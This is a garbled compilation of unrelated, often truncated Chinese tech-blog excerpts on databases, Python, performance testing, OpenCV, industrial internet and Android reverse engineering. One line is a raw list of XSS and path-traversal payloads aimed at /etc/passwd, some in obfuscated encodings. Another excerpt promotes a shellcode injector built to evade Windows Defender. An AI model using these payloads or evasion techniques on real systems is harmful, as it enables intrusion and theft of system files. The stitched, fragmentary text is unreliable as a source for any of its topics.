发生错误时,Caché会将$ECODE特殊变量设置为逗号分隔的字符串,其中包含与错误相对应的错误代码。例如,当引用未定义的全局变量时,Caché将$ECODE特殊变量设置为以下字符串:
$ZTRAP包含当前错误陷阱处理程序的行标签名和/或例程名。有三种方法可以设置$ZTRAP:
点击(此处)折叠或打开 #-*- coding: utf-8 -*- import sys print sys.getfilesystemencoding() # s 是 utf8 编码 s = "hi,你就要成功了." # 用decode转成python内部的unicode编码,用repr输出内部形式 s_unicode = s.decode("utf8") print repr(s_unicode) # 用e
首先我们先讨论实体之间的联系怎么表示 1.数据库中一对一的实现方式: (如一个学生对应一个档案,一个档案对应一个学生。学生表为A表,档案表为B表) 唯一外键方式:在A和B任意一表中添加唯一外键(注意是添加完外键后,再点唯一键,进行设置)具体方式点此。 主键关联方式:当A和B的主键相同时,我们就认为是一组数据。(注意是“我们就认为”,数据库中并没有提供主键关联的约束方式。) 中间关系表:创建一张新表作为中间关系表,两个列分别记录A和B,并且每一列的取值中,值均不能重复(即将这两列均设置为唯一外键,注意:将这两
针对现场出现一些问题,需要定位一下页面对应的数据库表的内容是否存在数据,方便排查错误,下面介绍两个方法。
在前面的时间,我分享两篇关于ThreadLocal类的文章:利用ThreadLocal解决线程同步问题和Java中的ThreadLocal功能演示,今天以之前做过的一个链路性能测试,分享一下在ThreadLocal在测试中的简单应用。
上期我们一起学习了OpenCV中很重要的几个辅助对象, 机器视觉算法(第7期)----OpenCV中很重要的辅助对象 今天我们主要学习一下OpenCV中几个让人事半功倍的工具函数。
FUD-UUID-Shellcode是一款功能强大的Shellcode注入工具,该工具基于C++语言开发,并使用了异或XOR加密技术UUID字符串混淆来尝试绕过Windows Defender。广大研究人员可以使用该工具测试目标系统的安全性,或研究Windows Defender相关的安全问题。
rror Invalid argument <CN="WDKTestCert Qis,132035943314435562" | 25C85585B7D0F973D43F7931BDACA9954EBED57A> for property <TestCertificate>. TBC_Driver C:\Program Files (x86)\Windows Kits\10\build\WindowsDriver.common.targets 1360
物联网的通信技术与物联网物体的价值是目前物联网在发展的过程中遇到的两个基础问题。而物联网物体的价值问题是推动物联网发展的中心问题,主要是对为什么万物互联或是万物互联产生的价值进行分析。每个国家都有自身的战略,我国的目标是希望将互联网与工业结合在一起进行创新,促进网络和工业结合的发展,利用新技术推动传统制造行业的发展。运用智能化制造所涉及到的各类割裂数据的理解和应用是未来工业互联网关键技术及应用方向之一,但是要想对各类数据掌握和理解并不是一件容易的事情,需要对数据的开始、过程以及用途都有认识并了解,目前能够达到这个要求的技术就是标识解析技术。所以,标识解析技术在现在工业互联网中的应用受到了很多关注。
$STACK包含当前保存在进程的调用堆栈中的上下文框架的编号。还可以将$STACK视为当前正在执行的上下文的从零开始的上下文级别编号。因此,启动Caché JOB时,在将任何上下文保存到调用堆栈之前,$STACK的值为零(0)。
RROR: Could not create cache adapter error=cache factory not found: factory for cache adapter "" was not registered ERROR: Job failed (system failure): Error response from daemon: OCI runtime create failed: container_linux.go:349: starting c
在微信小程序管理后台,我们可以生成下载标准的小程序二维码,提供主程序入口功能。在实际应用开发中,小程序二维码是可以携带参数的,可以动态进行生成,如如下场景:
去水印小程序解析接口分享php源码 小程序解析接口请求方式调用接口示例: $url = ‘https://v.douyin.com/2Jfw4Mo/’; //请把此处的uid和token换成你自己的
从官方文档的中“gtid的限制”《https://dev.mysql.com/doc/refman/5.6/en/replication-gtids-restrictions.html》的描述中,使用GTID复制有如下的限制:
从windows服务启动一个带UI程序的界面,这个需求在xp中是很随意的,从Vista开始似乎没有那么随意了,因为Vista中加入了Session的概念,那么什么是Session,我想这篇文章介绍的应该比我权威的多。Session隔离介绍
在最近的工作中,遇到了一批需要压测的接口,其中两个接口比较特殊:一个是创建资源接口,另外一个是删除该资源的接口。
javascript:%ef%bb%bfalert(XSS) xss %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F xss %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd lfi ../../etc/passwd lfi <svG/x=">"/oNloaD=confirm()// xss http://⑯⑨。②⑤④。⑯⑨。②
这些第三方的项目,都有一个共同点,加密算法极其复杂。基本都涉及了base文档加密,参数ecode转码,转码再加密。我们需要把这些算法也设计到脚本里面,因为正式用户在上传合同之后,算法也是时间消耗的一部分。可以用事物控制器把这些脚本都合并成一个业务流,统一计算响应时间
前言 本文可能不会详细记录每一步实现的过程,但一定程度上可以引领小伙伴走向更开阔的视野,串联每个环节,呈现予你不一样的效果。 业务规模 8个平台 100+台服务器 10+个集群分组 微服务600+ 用户N+ 面临问题 随着分布式微服务容器技术的发展,传统监控系统面临许多问题: 容器如何监控 微服务如何监控 集群性能如何进行分析计算 如何管理agent端大量配置脚本 这些都是传统监控所要面临的棘手问题,那么如何解决当前遇到的问题,GPE横空出世,后面会重点分析。 系统监控 目标群体:系统日志、服务器、容器、系
本文可能不会详细记录每一步实现的过程,但一定程度上可以引领小伙伴走向更开阔的视野,串联每个环节,呈现予你不一样的效果。
SQL> select VIEW_DEFINITION from v$fixed_view_definition where VIEW_NAME = 'GV$BH';
前文回顾:性能测试中记录每一个耗时请求,做完了单接口耗时请求的记录功能,近期又迎来了一批多接口链路压测的需求。刚好趁着这个机会,多实现一些不同场景的链路压测需求,锻炼一波,也能提高自己写的「FunTester」测试框架的兼容性,可谓一石多鸟,何乐而不为。
Firefly是一款针对Web应用程序的黑盒模糊测试工具,Firefly是一个高级工具,该工具不仅仅是一个标准的资产扫描与发现工具,而且还提供了大量的内置检测方法来检测目标行为。在该工具的帮助下,广大研究人员能够轻松针对目标Web应用程序执行黑盒模糊测试。
企业微信、私域流量、SCRM系统,特别注意的一点是,作者说完全开源,免费商用,我没有亲自搭建,但我看了看演示,该有的功能都有了,喜欢的小伙伴可以搭建试试。
在性能测试过程中,场景会遇到一些场景,需要在各种准备条件满足的情况下才能开始进行性能测试。例如:我需要200个学生进行一个单接口的压测,首先我得让这200个学生都登录,然后才能用200个User对象发起接口请求。
2.下载chromedriver驱动; 找到符合自己浏览器版本的chromedriver驱动,下载解压后,将chromedriver.exe文件放到Python目录下的Scripts目录下,也可以添加环境变量到Path中。
首先写一个测试app 打包 使用apktool进行反编译 生成smali格式的反汇编代码 然后阅读Smali文件的代码来理解程序的运行机制 找到程序的突破口进行修改 最后使用ApkTool 重新编译生成apk文件并签名 最后测试运行
根据国家工信部印发的《工业互联网标识管理办法》指出,工业互联网标识服务是指从事工业互联网标识解析根节点的运行和管理、国家顶级节点的运行和管理、递归节点的运行和管理、标识注册和管理、标识公共解析等活动。提供工业互联网标识服务的机构(以下统称标识服务机构)包括工业互联网标识解析根节点运行机构、国家顶级节点运行机构、标识注册管理机构、标识注册服务机构、递归节点运行机构。
接口测试中业务验证 http://mpvideo.qpic.cn/0bf2raaagaaaauaafxudrvpfbcgdaoeaaaya.f10002.mp4?dis_k=c999f00b893c9
打开 /etc/mysql/my.cnf 文件,找到 bind-address = 127.0.0.1 修改为 bind-address = 0.0.0.0
工业互联网作为全新工业生态、关键基础设施和新型应用模式,通过人、机、物的全面互联,实现全要素、全产业链、全价值链的全面连接,推动传统产业加快转型升级、有力支撑了实体经济的数字化转型、加速推进了我国第四次工业革命进程。
在我们的开发过程中,序列化是经常需要处理的问题,比如在做分布式访问数据时,或者是在做redis缓存存储数据时,如果我们涉及的知识面不够广的话,可能会简单的使用JDK的序列化,也即在需要序列化的类上implements Serializable接口去实现序列化,我想说的是这种方式在小系统中尚且可以用一用,如果是并发很大的系统会受到严重影响,这是由于JDK自带的序列化效率很低,不论是时间上还是空间上。我们经常使用的序列化方式还有XML和Json,说实在的我更多的是使用Json,我觉得它很方便很友好,但这些都不够好,我今天要将的是google开发的开源的序列化方案protocol buffer(简称protobuf),它的好处很多,独立于语言,独立于平台,最最重要的是它的效率相当高,用protobuf序列化后的大小是json的10分之一,xml格式的20分之一,是二进制序列化的10分之一,是不是很心动。其实我也刚接触这个好东西,写下此篇博客就当一个学习笔记吧。
usage: apktool -advance,--advanced prints advance information. -version,--version prints the version then exits usage: apktool if|install-framework [options] <framework.apk> -p,--frame-path <dir> Stores framework files into <dir>. -t,--tag <tag> Tag frameworks using <tag>. usage: apktool d[ecode] [options] <file_apk> -f,--force Force delete destination directory. -o,--output <dir> The name of folder that gets written. D -p,--frame-path <dir> Uses framework files located in <dir>. -r,--no-res Do not decode resources. -s,--no-src Do not decode sources. -t,--frame-tag <tag> Uses framework files tagged by <tag>. usage: apktool b[uild] [options] <app_path> -f,--force-all Skip changes detection and build all fi -o,--output <dir> The name of apk that gets written. Defa -p,--frame-path <dir> Uses framework files located in <dir>.
做接口测试中,对于一般性的单业务接口测试很多工具可供选择,但是对于一些相关业务相关性的关联接口测试就比较麻烦,使用工具比如jmeter、postman、soapui等等就比较麻烦。我比较偏重脚本化执行测试用例,所以选择了groovy作为主要语言来进行接口测试,但是脚本依赖的库还是基于之前所在的java为主的测试框架,有兴趣的可以翻翻以前的文章。项目的架构思路是以模块为基础把接口分类,然后对于接口的请求单独进行实现。通过一个user作为一个用户,携带各种属性,如:uname,pwd,token,userinfobean等信息。来作为各个模块类之间的信息传递。
apktool apktool是一个用于第三方封闭的二进制Android应用程序逆向工程工具 它可以将资源解码为几乎原始的形式,并在进行一些修改后重建它们; 它可以逐步调试小代码, 由于类似项目的文件
VIP:Virtual IP VMAC:Virutal MAC (00-00-5e-00-01-VRID) GraciousARP
PS:代码直接看源码,主要是了解思路,对于性能我建议先别考虑,先实现之后才能谈性能问题,性能问题没有绝对的只有相对的。最主要是签名的获取生成的思路。
pyspark: • pyspark = python + spark • 在pandas、numpy进行数据处理时,一次性将数据读入 内存中,当数据很大时内存溢出,无法处理;此外,很 多执行算法是单线程处理,不能充分利用cpu性能 spark的核心概念之一是shuffle,它将数据集分成数据块, 好处是: • 在读取数据时,不是将数据一次性全部读入内存中,而 是分片,用时间换空间进行大数据处理 • 极大的利用了CPU资源 • 支持分布式结构,弹性拓展硬件资源。
今天不整 GO 语言,我们来分享一下以前写的 C 代码,来看看 互斥锁,自旋锁和原子操作的 demo
去年,我们进行了项目的拆分,拆分后的各个子系统也都逐步的改成了通过接口进行数据的交换,接口测试也被提上日程。经过一段时间的探索,接口自动化测试方案越来越完善,今天给大家做个详细的讲解。
原地址:https://github.com/RoaringBitmap/RoaringBitmap
上一篇我们介绍了Pytest是如何进行参数化的,这一篇我们将给大家介绍的一些常用标记。
上一篇主要就讲解和分享Fiddler断点的理论和操作,今天宏哥就用具体例子,将上一篇中的理论知识实践一下。而且在实际测试过程中,有时候需要修改请求或响应数据,或者直接模拟服务器响应,此时可以使用fiddler进行此类操作。可以使用断点功能完成。
对于网站应用程序,涉及到登录和第三方 api 接口时,都会接触到 Token 等概念,而这部分的逻辑原理则是来自于 OAuth 授权协议, 目前的 OAuth2.0 协议的安全性也是被广泛认可,到目前为止尚且没有发生严重的安全事故。学习 OAuth2.0 协议的工作原理,并了解 qq 登录的流程和实现方式。
点击标题下「大数据文摘」可快捷关注 数据和算法正在改变着各个行业,重新塑造我们的生活。现在起,讲故事也该靠数据了。据recode的消息,哥伦比亚大学新开设了一个名为Lede项目的新闻学硕士学位项目。完成的学生将获得一个数据新闻学位。 这是新闻教学领域的一次大胆尝试。参加这个项目的记者们将学习如何编程,如何处理数据图表等技能。当然,所有的数据分析和处理技能都将以社会学和人文科学为背景。目的是让学生们为将来开展数字统计驱动型的媒体业务做好准备。此前美国已经出现了这样的媒体,比如:FiveThirtyEight
目前,很多组织开始大力推进数字化转型进程,转型的第一步就是搭建好平台,组织在数字化进程中普遍存在的需求包括:
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